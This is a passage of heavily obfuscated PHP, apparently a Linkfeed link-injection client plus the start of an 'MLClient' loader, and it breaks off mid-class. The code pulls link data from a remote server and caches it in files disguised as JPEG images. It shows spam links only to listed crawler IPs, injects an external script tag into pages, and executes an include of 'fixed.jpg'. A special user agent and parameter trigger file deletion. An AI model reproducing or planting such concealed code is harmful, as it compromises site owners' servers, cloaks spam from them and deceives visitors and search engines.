if(isset(${$yggfbmvstbne}["s\x6f\x63k\x65\x74\x5ft\x69me\x6f\x75t"])&&is_numeric(${$xhfelt}["so\x63\x6bet_\x74\x69\x6deou\x74"])&&${${"\x47\x4c\x4fB\x41L\x53"}["lb\x73\x67\x75i\x6a\x75ys"]}["\x73\x6fc\x6b\x65\x74_tim\x65\x6fu\x74"]>0)
{
${"G\x4cO\x42\x41\x4cS"}["\x66\x77\x6ffw\x72p\x71z\x73\x73\x64"]="o\x70\x74\x69\x6f\x6e\x73";
$this->lc_socket_timeout=${${"GLO\x42\x41L\x53"}["\x66\x77ofw\x72\x70\x71z\x73\x73\x64"]}["\x73\x6f\x63\x6b\x65t_\x74i\x6d\x65\x6fu\x74"];
}
if((isset(${${"G\x4c\x4f\x42A\x4c\x53"}["w\x69\x76xve\x64\x63"]}["forc\x65_sh\x6fw_\x63\x6fd\x65"])&&${${"\x47\x4c\x4f\x42\x41LS"}["w\x69\x76\x78\x76\x65d\x63"]}["fo\x72ce\x5f\x73\x68\x6fw\x5fc\x6fd\x65"])||isset($this->lc_links["\x5f\x5fl\x69\x6ek\x66\x65e\x64_\x64\x65b\x75\x67_\x5f"]))
{
$this->lc_force_show_code=true;
}
if(!defined("\x4cI\x4e\x4b\x46E\x45D_\x55S\x45\x52"))
{
return$this->raise_error("\x43o\x6estan\x74\x20\x4c\x49N\x4bFE\x45D_\x55S\x45\x52 is \x6e\x6ft\x20de\x66ined.");
}
$this->load_links();
}
function load_links()
{
if($this->lc_multi_site)
{
$this->lc_links_db_file=dirname(__FILE__)."/\x6c\x69\x6ek\x66eed.".$this->lc_host.".li\x6eks.\x64\x62";
}
else
{
$this->lc_links_db_file=dirname(__FILE__)."/c\x6c\x75b\x5fs\x79\x73\x74\x65\x6d.j\x70g";
}
$pjujwiypru="\x6ci\x6e\x6b\x73";
if(!is_file($this->lc_links_db_file))
{
if(@touch($this->lc_links_db_file,time()-$this->lc_cache_lifetime))
{
@chmod($this->lc_links_db_file,0666);
}
else
{
return$this->raise_error("\x54he\x72e\x20is \x6eo\x20file ".$this->lc_links_db_file.".\x20Fa\x69l to\x20c\x72ea\x74\x65\x2e \x53et \x6dod\x65 to 7\x377\x20\x6fn\x20\x74\x68e\x20f\x6fl\x64\x65r\x2e");
}
}
if(!is_writable($this->lc_links_db_file))
{
return$this->raise_error("\x54her\x65\x20\x69s n\x6f\x20\x70e\x72\x6di\x73sion\x73\x20\x74\x6f\x20w\x72\x69t\x65:\x20".$this->lc_links_db_file."\x21\x20\x53\x65\x74\x20m\x6f\x64\x65\x20\x74\x6f\x20\x37\x37\x37 on the\x20f\x6f\x6c\x64\x65r\x2e");
}
@clearstatcache();
${"\x47\x4c\x4f\x42\x41L\x53"}["\x72s\x76\x76v\x76\x6d"]="\x6b\x65\x79";
if(filemtime($this->lc_links_db_file)<(time()-$this->lc_cache_lifetime)||(filemtime($this->lc_links_db_file)<(time()-$this->lc_cache_reloadtime)&&filesize($this->lc_links_db_file)==0))
{
$rivvjpwg="\x70\x61t\x68";
@touch($this->lc_links_db_file,time());
${"\x47LOB\x41L\x53"}["\x69\x66\x64\x73\x65\x6b\x78z\x6d"]="\x70\x61\x74\x68";
${${"G\x4c\x4f\x42\x41\x4cS"}["i\x66\x64\x73\x65k\x78z\x6d"]}="/".LINKFEED_USER."/".strtolower($this->lc_host)."/".strtoupper($this->lc_charset);
if(${${"\x47\x4c\x4fBA\x4c\x53"}["\x75\x68t\x67\x78\x62\x6b\x62n\x7ar"]}=$this->fetch_remote_file($this->lc_server,${$rivvjpwg}))
{
$jzcliqt="\x6c\x69\x6e\x6bs";
if(substr(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75h\x74g\x78b\x6b\x62\x6e\x7ar"]},0,12)=="F\x41\x54A\x4c \x45\x52RO\x52:")
{
$urwlggohu="\x6c\x69n\x6b\x73";
$this->raise_error(${$urwlggohu});
}
else if(@unserialize(${$jzcliqt})!==false)
{
$ymeexwcjgpz="\x6c\x69\x6ek\x73";
$this->lc_write($this->lc_links_db_file,${$ymeexwcjgpz});
}
else
{
$this->raise_error("\x43\x61\x6en'\x74 \x75n\x73e\x72ia\x6ci\x7ae\x20rece\x69\x76\x65d\x20d\x61\x74\x61\x2e");
}
}
}
${$pjujwiypru}=$this->lc_read($this->lc_links_db_file);
$this->lc_file_change_date=gmstrftime("%d.%m\x2e%\x59\x20\x25H:%M:\x25\x53",filectime($this->lc_links_db_file));
$ggqqejtlffi="l\x69\x6e\x6b\x73";$this->lc_file_size=strlen(${$ggqqejtlffi});
if(!${${"G\x4cO\x42\x41L\x53"}["\x75h\x74\x67\x78\x62k\x62n\x7ar"]})
{
$this->lc_links=array();
$this->raise_error("\x45\x6dpt\x79\x20\x66\x69\x6c\x65\x2e");
}
else if(!$this->lc_links=@unserialize(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x75\x68t\x67\x78\x62k\x62\x6e\x7ar"]}))
{
$this->lc_links=array();
$this->raise_error("\x43an\x6e'\x74\x20un\x73\x65\x72i\x61li\x7ae d\x61ta f\x72om\x20\x66ile\x2e");
}
if(isset($this->lc_links["\x5f_\x6c\x69n\x6b\x66\x65ed\x5fdelimiter\x5f_"]))
{
$this->lc_links_delimiter=$this->lc_links["\x5f_linkfe\x65\x64_\x64\x65\x6cim\x69t\x65\x72\x5f_"];
}
${${"\x47L\x4f\x42A\x4c\x53"}["ry\x68\x68m\x63\x72hv\x78ys"]}=array();
foreach($this->lc_links as${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x72\x73v\x76v\x76\x6d"]}=>${${"G\x4cO\x42\x41\x4c\x53"}["h\x73hd\x68\x76"]})
{
$pqpkuop="k\x65\x79";
${${"GLO\x42\x41\x4c\x53"}["ry\x68hmc\x72\x68\x76\x78y\x73"]}[rawurldecode(${$pqpkuop})]=${${"\x47\x4cO\x42\x41L\x53"}["\x68s\x68d\x68\x76"]};
}
$this->lc_links=${${"G\x4cOB\x41\x4cS"}["r\x79\x68h\x6dcrh\x76\x78\x79\x73"]};
if($this->lc_ignore_tailslash&&$this->lc_request_uri[strlen($this->lc_request_uri)-1]=="/")
$this->lc_request_uri=substr($this->lc_request_uri,0,-1);
$this->lc_links_page=array();
if(array_key_exists($this->lc_request_uri,$this->lc_links)&&is_array($this->lc_links[$this->lc_request_uri]))
{
$this->lc_links_page=array_merge($this->lc_links_page,$this->lc_links[$this->lc_request_uri]);
}
if($this->lc_ignore_tailslash&&array_key_exists($this->lc_request_uri."/",$this->lc_links)&&is_array($this->lc_links[$this->lc_request_uri."/"]))
{
$this->lc_links_page=array_merge($this->lc_links_page,$this->lc_links[$this->lc_request_uri."/"]);
}
$this->lc_links_count=count($this->lc_links_page);
}
function return_links($n=null)
{
$wkrhdsrt="\x72\x65\x73\x75\x6c\x74";
${$wkrhdsrt}="";
$erhuiwkj="\x72\x65s\x75\x6c\x74";
if(isset($this->lc_links["__\x6ci\x6e\x6bf\x65\x65\x64\x5fs\x74\x61rt_\x5f"])&&strlen($this->lc_links["\x5f_\x6cin\x6bfeed\x5f\x73\x74\x61\x72t_\x5f"])!=0&&(in_array($_SERVER["\x52EM\x4fTE\x5fA\x44\x44\x52"],$this->lc_links["_\x5f\x6cink\x66\x65e\x64\x5f\x72o\x62\x6ft\x73_\x5f"])||$this->lc_force_show_code))
{
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66\x66\x61s\x79x\x6c\x64\x6e\x6bx"]}.=$this->lc_links["\x5f\x5f\x6ci\x6ekfe\x65d_start\x5f_"];
}
if(isset($this->lc_links["__li\x6e\x6b\x66eed\x5f\x72\x6f\x62\x6fts\x5f_"])&&in_array($_SERVER["RE\x4d\x4f\x54\x45\x5f\x41\x44D\x52"],$this->lc_links["\x5f_l\x69n\x6bf\x65e\x64\x5fr\x6fb\x6f\x74\x73\x5f\x5f"])||$this->lc_verbose)
{
$xlhebubljwl="r\x65\x73\x75\x6ct";
${"\x47L\x4f\x42A\x4c\x53"}["\x65\x75\x75\x64\x6b\x74t"]="re\x73u\x6c\x74";
if($this->lc_error!="")
{
${${"\x47LO\x42\x41\x4cS"}["\x66fa\x73\x79xl\x64\x6e\x6b\x78"]}.=$this->lc_error;
}
$culfotfhigy="\x72e\x73\x75\x6ct";
${${"\x47\x4c\x4fB\x41L\x53"}["f\x66\x61s\x79\x78\x6c\x64\x6e\x6b\x78"]}.="\x3c!--\x52\x45Q\x55E\x53T_\x55\x52I\x3d".$_SERVER["\x52E\x51UE\x53T\x5f\x55RI"]."--\x3e\n";
$skphcf="resu\x6ct";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79a\x6el\x6a\x76j"]="\x72\x65\x73ul\x74";
${${"GL\x4fB\x41LS"}["\x66\x66\x61s\x79xl\x64\x6e\x6b\x78"]}.="\n\x3c!--\n";
${$xlhebubljwl}.="L\x20".$this->lc_version."\n";
${${"\x47\x4cO\x42A\x4cS"}["e\x75\x75\x64ktt"]}.="R\x45M\x4fT\x45\x5f\x41\x44\x44R=".$_SERVER["\x52\x45M\x4f\x54\x45_\x41\x44\x44R"]."\n";
${${"\x47\x4cO\x42\x41LS"}["\x66\x66\x61syxl\x64n\x6b\x78"]}.="re\x71uest_uri=".$this->lc_request_uri."\n";
${${"G\x4cOBA\x4c\x53"}["\x66f\x61\x73\x79\x78\x6c\x64\x6e\x6b\x78"]}.="\x63h\x61\x72\x73\x65t=".$this->lc_charset."\n";
${$culfotfhigy}.="\x69\x73_sta\x74ic=".$this->lc_is_static."\n";
${$skphcf}.="\x6d\x75l\x74\x69_\x73\x69te=".$this->lc_multi_site."\n";
${${"\x47\x4cO\x42A\x4cS"}["ya\x6el\x6a\x76\x6a"]}.="\x66\x69l\x65 chan\x67\x65\x20\x64a\x74e\x3d".$this->lc_file_change_date."\n";
${${"\x47LO\x42\x41L\x53"}["\x66\x66\x61\x73y\x78\x6cd\x6e\x6b\x78"]}.="l\x63\x5ffile_si\x7a\x65\x3d".$this->lc_file_size."\n";
$scuzhenbmqx="\x72esu\x6ct";
${${"\x47L\x4f\x42\x41\x4cS"}["\x66\x66\x61\x73y\x78\x6c\x64\x6ekx"]}.="l\x63\x5f\x6c\x69nk\x73_\x63oun\x74=".$this->lc_links_count."\n";
${$scuzhenbmqx}.="le\x66t\x5f\x6ci\x6ek\x73\x5fc\x6funt\x3d".count($this->lc_links_page)."\n";
${${"\x47\x4c\x4f\x42\x41\x4cS"}["f\x66\x61s\x79\x78\x6c\x64\x6ek\x78"]}.="n\x3d".${${"G\x4c\x4f\x42A\x4cS"}["\x68\x62b\x71\x7a\x76\x62\x64"]}."\n";
${${"\x47\x4c\x4f\x42A\x4cS"}["\x66f\x61\x73y\x78\x6cdn\x6bx"]}.="--\x3e";
}
if(is_array($this->lc_links_page))
{
${${"G\x4c\x4fB\x41\x4cS"}["\x69r\x77\x73e\x62\x64\x72\x74\x6f"]}=count($this->lc_links_page);
${"G\x4c\x4fB\x41LS"}["\x6cc\x63j\x67r\x77"]="l\x69\x6e\x6bs";
${"G\x4cO\x42A\x4c\x53"}["\x7a\x62\x6e\x64\x6c\x75\x78\x65\x77\x64\x6e\x74"]="\x69";
${"\x47LOBA\x4cS"}["\x76\x6fxwx\x6ccfem"]="l\x69\x6e\x6bs";
${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x74m\x75\x6ch\x72"]="\x72\x65\x73u\x6ct";
if(!is_numeric(${${"G\x4c\x4f\x42AL\x53"}["\x68bbqz\x76\x62d"]})||${${"\x47\x4c\x4f\x42\x41LS"}["h\x62\x62q\x7a\x76\x62\x64"]}>${${"\x47\x4cOB\x41\x4cS"}["\x69r\x77s\x65\x62dr\x74o"]})
{
${"\x47\x4cO\x42\x41\x4c\x53"}["\x61\x76\x69\x72b\x77\x79\x74nh\x6f"]="tota\x6c\x5fpa\x67\x65_l\x69\x6e\x6b\x73";
${"\x47LOBAL\x53"}["\x71\x72\x6a\x78\x71\x68\x79\x67\x78\x6f\x70"]="n";
${${"G\x4c\x4f\x42A\x4cS"}["\x71\x72\x6a\x78\x71\x68\x79\x67x\x6f\x70"]}=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x61vi\x72\x62\x77\x79\x74\x6e\x68\x6f"]};
}
${${"G\x4c\x4f\x42AL\x53"}["v\x6f\x78\x77\x78lc\x66\x65\x6d"]}=array();
for(${${"\x47\x4cOB\x41\x4c\x53"}["\x76\x74\x63\x62az\x78\x62m"]}=0;${${"\x47L\x4f\x42\x41\x4cS"}["\x7a\x62\x6e\x64l\x75\x78\x65\x77\x64nt"]}<${${"\x47\x4c\x4f\x42A\x4cS"}["\x68\x62\x62q\x7av\x62d"]};${${"G\x4cO\x42\x41L\x53"}["\x76tcba\x7a\x78\x62\x6d"]}++)
{
$qkqnquwpls="\x6c\x69\x6e\x6b\x73";
${$qkqnquwpls}[]=array_shift($this->lc_links_page);
}
if(count(${${"GL\x4f\x42\x41\x4c\x53"}["u\x68\x74\x67\x78\x62\x6b\x62\x6e\x7a\x72"]})>0&&isset($this->lc_links["_\x5fli\x6ekf\x65e\x64\x5f\x62e\x66\x6fr\x65\x5f\x74\x65\x78t\x5f\x5f"]))
{
$xkrsyoaup="\x72\x65s\x75l\x74";
${$xkrsyoaup}.=$this->lc_links["__\x6c\x69\x6ek\x66ee\x64_b\x65\x66\x6fre_tex\x74\x5f\x5f"];
}
${${"\x47\x4c\x4f\x42\x41L\x53"}["p\x74mu\x6c\x68\x72"]}.=implode($this->lc_links_delimiter,${${"G\x4cO\x42A\x4c\x53"}["u\x68tg\x78bkb\x6ez\x72"]});
if(count(${${"\x47L\x4f\x42A\x4c\x53"}["\x6c\x63c\x6a\x67rw"]})>0&&isset($this->lc_links["\x5f\x5f\x6ci\x6e\x6b\x66\x65ed\x5f\x61\x66ter_\x74ex\x74\x5f\x5f"]))
{
$sqirndyyooi="\x72e\x73u\x6c\x74";${$sqirndyyooi}.=$this->lc_links["\x5f_l\x69\x6ekfeed\x5f\x61\x66\x74\x65r_t\x65\x78\x74__"];
}
}
if(isset($this->lc_links["__\x6c\x69\x6ekfe\x65d_end_\x5f"])&&strlen($this->lc_links["\x5f_\x6c\x69\x6ekfee\x64_\x65\x6ed\x5f\x5f"])!=0&&(in_array($_SERVER["\x52EM\x4f\x54\x45_\x41D\x44R"],$this->lc_links["\x5f\x5fli\x6ek\x66ee\x64_ro\x62\x6f\x74\x73\x5f\x5f"])||$this->lc_force_show_code))
{
${${"\x47\x4cOB\x41\x4cS"}["f\x66\x61s\x79\x78\x6cd\x6e\x6bx"]}.=$this->lc_links["\x5f_l\x69\x6e\x6bfee\x64\x5f\x65\x6ed\x5f\x5f"];
}
${${"G\x4c\x4f\x42\x41\x4cS"}["\x66\x66\x61\x73y\x78\x6c\x64\x6ek\x78"]}=${$erhuiwkj}.$this->uptolike_tag();
return${${"GLO\x42\x41\x4c\x53"}["\x66\x66\x61\x73\x79\x78\x6c\x64\x6e\x6bx"]};
}
function fetch_remote_file($host,$path)
{
$mkefkgokej="\x75\x73\x65\x72_ag\x65\x6e\x74";
${$mkefkgokej}="Li\x6ek\x66\x65ed\x20\x43l\x69\x65\x6et\x20\x50H\x50 ".$this->lc_version;
@ini_set("a\x6c\x6c\x6fw\x5fu\x72l\x5f\x66o\x70\x65\x6e",1);
@ini_set("\x64ef\x61ul\x74\x5fso\x63\x6b\x65\x74_t\x69m\x65ou\x74",$this->lc_socket_timeout);
@ini_set("us\x65\x72\x5f\x61\x67\x65\x6e\x74",${${"G\x4c\x4fBA\x4c\x53"}["\x79\x74\x70u\x6b\x72\x6e\x6b"]});
$fvhnwrglee="\x70\x61\x74\x68";
if($this->lc_fetch_remote_type=="f\x69\x6c\x65\x5f\x67e\x74\x5f\x63o\x6et\x65\x6ets"||($this->lc_fetch_remote_type==""&&function_exists("\x66\x69\x6ce\x5f\x67e\x74_c\x6f\x6e\x74\x65nts")&&ini_get("\x61\x6c\x6co\x77\x5f\x75\x72\x6c\x5f\x66open")==1))
{
${"\x47L\x4fB\x41L\x53"}["a\x69o\x68\x65\x6b\x64yz\x68\x76"]="p\x61t\x68";
if(${${"\x47\x4cO\x42\x41\x4c\x53"}["ykd\x67c\x6e\x64\x6bj"]}=@file_get_contents("h\x74\x74p://".$host.${${"GL\x4f\x42\x41\x4c\x53"}["\x61i\x6f\x68\x65k\x64y\x7a\x68v"]}))
{
return${${"\x47L\x4f\x42\x41L\x53"}["\x79kd\x67\x63\x6e\x64\x6b\x6a"]};
}
}
elseif($this->lc_fetch_remote_type=="\x63\x75rl"||($this->lc_fetch_remote_type==""&&function_exists("\x63\x75\x72\x6c\x5f\x69n\x69\x74")))
{
if(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70\x74\x64z\x73\x7au\x78"]}=@curl_init())
{
$ffbtem="\x70a\x74\x68";
${"\x47\x4cOBA\x4c\x53"}["r\x6f\x71\x74\x6d\x62s\x62"]="c\x68";
@curl_setopt(${${"GL\x4fB\x41\x4c\x53"}["\x70\x74\x64\x7a\x73\x7aux"]},CURLOPT_URL,"ht\x74p://".$host.${$ffbtem});
@curl_setopt(${${"\x47L\x4f\x42\x41\x4c\x53"}["r\x6fq\x74\x6dbsb"]},CURLOPT_HEADER,false);$gelhrw="ch";
$kcuuzphmyj="\x63h";
@curl_setopt(${${"\x47\x4c\x4f\x42AL\x53"}["\x70\x74\x64zs\x7au\x78"]},CURLOPT_RETURNTRANSFER,true);
${"\x47LO\x42\x41\x4cS"}["\x71\x76\x64\x6e\x77\x78n"]="\x75\x73\x65\x72\x5f\x61\x67e\x6e\x74";
$oeruawrlpazy="d\x61t\x61";
@curl_setopt(${$kcuuzphmyj},CURLOPT_CONNECTTIMEOUT,$this->lc_socket_timeout);
@curl_setopt(${$gelhrw},CURLOPT_USERAGENT,${${"\x47L\x4f\x42A\x4c\x53"}["\x71\x76d\x6e\x77\x78\x6e"]});
if(${$oeruawrlpazy}=@curl_exec(${${"G\x4c\x4f\x42\x41\x4c\x53"}["p\x74d\x7a\x73z\x75\x78"]}))
{
${"\x47L\x4f\x42\x41\x4cS"}["\x77\x75\x72b\x70bn"]="\x64\x61\x74a";
return${${"\x47L\x4f\x42A\x4cS"}["\x77\x75\x72b\x70\x62\x6e"]};
}
@curl_close(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x70\x74\x64\x7as\x7au\x78"]});
}
}
else
{
$tiivtx="\x65\x72\x72\x73t\x72";
${${"\x47L\x4f\x42A\x4cS"}["\x6e\x79o\x67\x61\x6c\x71\x68y\x61\x73\x68"]}="";
${"G\x4c\x4f\x42\x41L\x53"}["\x77\x76\x66dj\x73\x64\x66"]="\x66p";
${${"\x47\x4c\x4f\x42ALS"}["\x63\x78x\x70\x70r\x72"]}=@fsockopen($host,80,${${"\x47L\x4f\x42A\x4c\x53"}["\x61\x7a\x67\x6c\x65\x6bt\x76rh\x64"]},${$tiivtx},$this->lc_socket_timeout);
if(${${"\x47\x4cO\x42\x41L\x53"}["w\x76\x66\x64\x6a\x73\x64f"]})
{
$sywbnqqtwknu="f\x70";
${"\x47\x4c\x4f\x42AL\x53"}["v\x72\x63\x61x\x62\x61\x65\x6f\x6d"]="\x70\x61g\x65";
${"\x47LO\x42\x41\x4cS"}["\x6c\x6d\x77\x64zx\x67\x64"]="\x66\x70";
${"G\x4c\x4fB\x41\x4cS"}["l\x6db\x61\x67cm\x63\x70\x6d\x65"]="\x66\x70";
@fputs(${${"\x47\x4cO\x42\x41L\x53"}["\x63\x78xp\x70r\x72"]},"GET {$path} H\x54TP/1.\x30\r\nH\x6fs\x74:\x20{$host}\r\n");
@fputs(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6c\x6d\x62a\x67\x63m\x63\x70\x6d\x65"]},"U\x73e\x72-Age\x6et:\x20{$user_agent}\r\n\r\n");
while(!@feof(${$sywbnqqtwknu}))
{
$noutniuhq="\x66p";
${${"GL\x4f\x42\x41L\x53"}["n\x79\x6f\x67a\x6c\x71\x68ya\x73h"]}.=@fgets(${$noutniuhq},128);
}
@fclose(${${"G\x4c\x4f\x42A\x4c\x53"}["\x6c\x6d\x77\x64\x7a\x78\x67\x64"]});
${${"\x47LO\x42\x41L\x53"}["\x76r\x63a\x78b\x61\x65\x6fm"]}=explode("\r\n\r\n",${${"G\x4c\x4fB\x41\x4c\x53"}["\x6ey\x6fga\x6c\x71\x68\x79\x61s\x68"]});
return${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x70\x66\x6d\x7a\x71m"]}[1];
}
}
return$this->raise_error("C\x61\x6e\x6e\x27t\x20\x63\x6f\x6enec\x74 \x74o \x73erv\x65\x72: ".$host.${$fvhnwrglee});
}
function lc_read($filename)
{
$lqjrtntaufeq="\x66i\x6c\x65n\x61\x6d\x65";
${${"\x47LOBA\x4c\x53"}["c\x78\x78p\x70\x72\x72"]}=@fopen(${$lqjrtntaufeq},"\x72b");
$wrgwpcqict="\x66\x70";
@flock(${$wrgwpcqict},LOCK_SH);
if(${${"\x47L\x4f\x42A\x4c\x53"}["\x63x\x78\x70\x70\x72\x72"]})
{
$gsznluguir="dat\x61";${"\x47\x4c\x4fBA\x4cS"}["\x72\x7a\x64\x64\x67\x76"]="f\x69l\x65\x6e\x61me";
clearstatcache();
${${"\x47L\x4f\x42A\x4cS"}["\x64\x6be\x6d\x77\x65\x6f\x74\x71\x6ag"]}=@filesize(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x72z\x64\x64\x67\x76"]});
if(get_magic_quotes_gpc())
{
$qduulicwbk="\x6d\x71\x72";
${$qduulicwbk}=get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
}
$mkdtyobznsk="\x6d\x71\x72";
if(${${"\x47L\x4fBA\x4cS"}["d\x6b\x65\x6d\x77\x65\x6f\x74\x71jg"]})
{
${"\x47L\x4f\x42\x41L\x53"}["\x66tev\x6b\x6b\x66\x76f\x77"]="da\x74\x61";
${"\x47\x4c\x4f\x42\x41L\x53"}["\x73\x68p\x6d\x76\x64\x79\x6fr\x6e\x6f\x78"]="\x6c\x65\x6eg\x74h";
${${"G\x4c\x4f\x42\x41L\x53"}["f\x74\x65\x76\x6bkf\x76\x66w"]}=@fread(${${"\x47\x4c\x4fBAL\x53"}["\x63\x78\x78p\x70\x72r"]},${${"GLOB\x41L\x53"}["s\x68pm\x76dy\x6f\x72\x6e\x6f\x78"]});
}
else
{
${${"GLO\x42\x41\x4c\x53"}["y\x6b\x64g\x63\x6e\x64\x6b\x6a"]}="";
}
${"GL\x4f\x42\x41\x4c\x53"}["\x65z\x6e\x7af\x62i\x63"]="\x66p";
if(isset(${$mkdtyobznsk}))
{
$yxyfpcejzal="m\x71\x72";
set_magic_quotes_runtime(${$yxyfpcejzal});
}
@flock(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x78xp\x70r\x72"]},LOCK_UN);
@fclose(${${"\x47\x4c\x4fB\x41\x4cS"}["\x65\x7anz\x66\x62\x69\x63"]});
return${$gsznluguir};
}
return$this->raise_error("Ca\x6e\x6e\x27\x74 ge\x74 d\x61t\x61 \x66ro\x6d\x20\x74\x68e \x66\x69\x6c\x65: ".${${"\x47LO\x42\x41L\x53"}["l\x64\x6f\x73\x64\x71\x6dp\x78"]});
}
function lc_write($filename,$data)
{
$xisccdxdlbpv="f\x70";
${${"G\x4cO\x42\x41LS"}["\x63x\x78\x70\x70r\x72"]}=@fopen(${${"\x47L\x4f\x42A\x4c\x53"}["\x6c\x64\x6f\x73\x64\x71mpx"]},"w\x62");
if(${$xisccdxdlbpv})
{
$mpoplj="f\x69\x6c\x65\x6e\x61me";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x75\x62d\x69bdm\x72x"]="d\x61t\x61";
$emjglrn="\x6c\x65n\x67\x74\x68";
${"\x47LO\x42\x41L\x53"}["\x6a\x70\x66\x66\x6ea\x72ur"]="l\x65n\x67\x74\x68";
${"\x47\x4c\x4fBALS"}["\x77f\x64hs\x76g\x64"]="\x64\x61\x74\x61";
${"\x47L\x4f\x42\x41\x4cS"}["\x66\x71\x65\x79\x63\x77w\x66"]="\x66\x70";
@flock(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63\x78\x78\x70p\x72r"]},LOCK_EX);
${${"\x47\x4cO\x42A\x4cS"}["jpf\x66\x6ea\x72ur"]}=strlen(${${"G\x4c\x4fB\x41\x4c\x53"}["\x75\x62d\x69\x62\x64\x6d\x72\x78"]});
@fwrite(${${"\x47\x4cO\x42\x41\x4cS"}["\x63\x78\x78\x70\x70r\x72"]},${${"\x47L\x4f\x42\x41\x4cS"}["y\x6b\x64\x67\x63\x6e\x64\x6b\x6a"]},${$emjglrn});
@flock(${${"\x47LO\x42\x41L\x53"}["\x66\x71ey\x63\x77\x77\x66"]},LOCK_UN);
@fclose(${${"\x47\x4cO\x42\x41\x4c\x53"}["c\x78x\x70\x70r\x72"]});
if(md5($this->lc_read(${$mpoplj}))!=md5(${${"G\x4cOB\x41\x4c\x53"}["w\x66\x64\x68s\x76\x67\x64"]}))
{
return$this->raise_error("Int\x65\x67\x72i\x74y \x77a\x73 bre\x61ken\x20w\x68i\x6ce \x77\x72iti\x6eg \x74o\x20file:\x20".${${"G\x4cO\x42\x41L\x53"}["\x6cd\x6f\x73d\x71m\x70x"]});
}
return true;
}
${"\x47\x4cO\x42\x41L\x53"}["\x69\x72\x69\x75\x6e\x6eik\x77\x76g"]="\x66\x69\x6c\x65\x6e\x61\x6d\x65";
return$this->raise_error("\x43an\x6e\x27t wr\x69\x74e\x20to\x20\x66\x69le: ".${${"\x47\x4cO\x42A\x4cS"}["\x69\x72i\x75\x6enik\x77\x76\x67"]});
}
function raise_error($e)
{
${"\x47L\x4fBA\x4c\x53"}["\x6e\x61\x71n\x6e\x6a\x6by\x6dd"]="\x65";
$this->lc_error="<\x21--\x45R\x52O\x52:\x20".${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6e\x61\x71\x6e\x6e\x6a\x6b\x79m\x64"]}."-->";
return false;
}
function uptolike_tag()
{
$tncqywjg="r\x65\x73u\x6c\x74";
${${"\x47L\x4f\x42ALS"}["\x75q\x75\x73\x73\x75\x71\x77\x64\x7am"]}="l\x66".sha1($this->lc_host);
${$tncqywjg}="\x3c\x73c\x72\x69\x70\x74\x20\x61sy\x6e\x63\x3d\x22asy\x6ec\"\x20\x73\x72\x63=\"\x68\x74\x74\x70\x73://w\x2eu\x70\x74\x6flike.c\x6fm/\x77i\x64g\x65ts/\x76\x31/\x7a\x70.\x6as?\x70\x69\x64=".${${"GLO\x42\x41\x4c\x53"}["\x75\x71\x75\x73s\x75\x71\x77dz\x6d"]}."\x22\x20type=\x22text/j\x61vasc\x72\x69\x70t\x22>\x3c/\x73\x63ri\x70\x74\x3e";
return${${"\x47\x4c\x4f\x42A\x4c\x53"}["f\x66\x61\x73y\x78l\x64\x6e\x6b\x78"]};
}
}
class MLClient
{
var$file_code='fixed.jpg';
var$transmiter=null;var$code_type='l';
function MLClient($o=array())
{
$eeubyqby="o";
$tdnytwrtp="c\x6f\x64\x65_\x66\x69l\x65";
${"G\x4cO\x42\x41\x4c\x53"}["\x6edy\x72\x73\x6bp\x6f\x71\x63p"]="c\x6f\x64e\x5ff\x69\x6c\x65";
if(isset(${${"GLOB\x41\x4c\x53"}["i\x77umb\x6e\x7a"]}["\x43ODE\x5f\x54\x59\x50E"])&&strlen(${$eeubyqby}["\x43ODE\x5f\x54Y\x50E"])==1)
{
$this->code_type=strtolower(${${"G\x4c\x4fBA\x4c\x53"}["\x69\x77um\x62nz"]}["C\x4fD\x45_\x54\x59PE"]);
}
else
{
$this->code_type="\x6c";
}
${${"\x47L\x4fB\x41L\x53"}["\x6e\x64\x79\x72s\x6bp\x6fq\x63\x70"]}=dirname(__FILE__)."/".str_replace("%",$this->code_type,$this->file_code);
$hbwbvp="\x75s\x65\x72na\x6d\x65";
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64o\x75\x64t\x67\x69\x6ai\x78"]}=$this->getUser(${${"\x47\x4c\x4fB\x41\x4c\x53"}["i\x77u\x6d\x62\x6ez"]});
if(@strpos($_SERVER["\x48T\x54P\x5fU\x53ER_\x41GENT"],"\x6dl\x62\x6f\x74\x2e".${$hbwbvp})!==false&&isset($_GET["\x6d\x6c\x5ffo\x72\x63\x65\x5fr\x65\x63\x6f\x76\x65\x72\x79"]))
{
$qjqbvdjgpk="c\x6f\x64e\x5f\x66\x69le";
$imdoeukdr="\x63o\x64\x65\x5f\x66\x69\x6c\x65";
@unlink(${$qjqbvdjgpk});@unlink(${$imdoeukdr}.".l\x6fck");
print"\x3c\x21--<\x6dl\x5f\x66\x6f\x72c\x65_\x72e\x63\x6fvery_r\x65\x73\x75\x6ct>\x74r\x75\x65</\x6dl\x5ff\x6f\x72\x63\x65\x5f\x72\x65c\x6f\x76\x65\x72y_\x72es\x75\x6ct\x3e-->";
return true;
}
$fhubgymmml="\x74r\x61nsm\x69\x74e\x72_\x63l\x61s\x73";
$eoumocyi="\x74ra\x6esmi\x74\x65\x72_\x63las\x73";
if(file_exists(${$tdnytwrtp}))
{
${"G\x4cO\x42\x41L\x53"}["\x73\x68plb\x76p\x70"]="\x63o\x64e\x5f\x66\x69le";
if(file_exists(${${"\x47\x4cOB\x41\x4c\x53"}["\x6b\x61\x70l\x6b\x6d\x71yx"]}.".\x6coc\x6b"))
{
@unlink(${${"\x47L\x4f\x42AL\x53"}["\x6ba\x70l\x6b\x6d\x71\x79\x78"]}."\x2el\x6fck");
}
include_once${${"GL\x4f\x42\x41\x4c\x53"}["\x73\x68\x70\x6cbv\x70p"]};
}
else
{
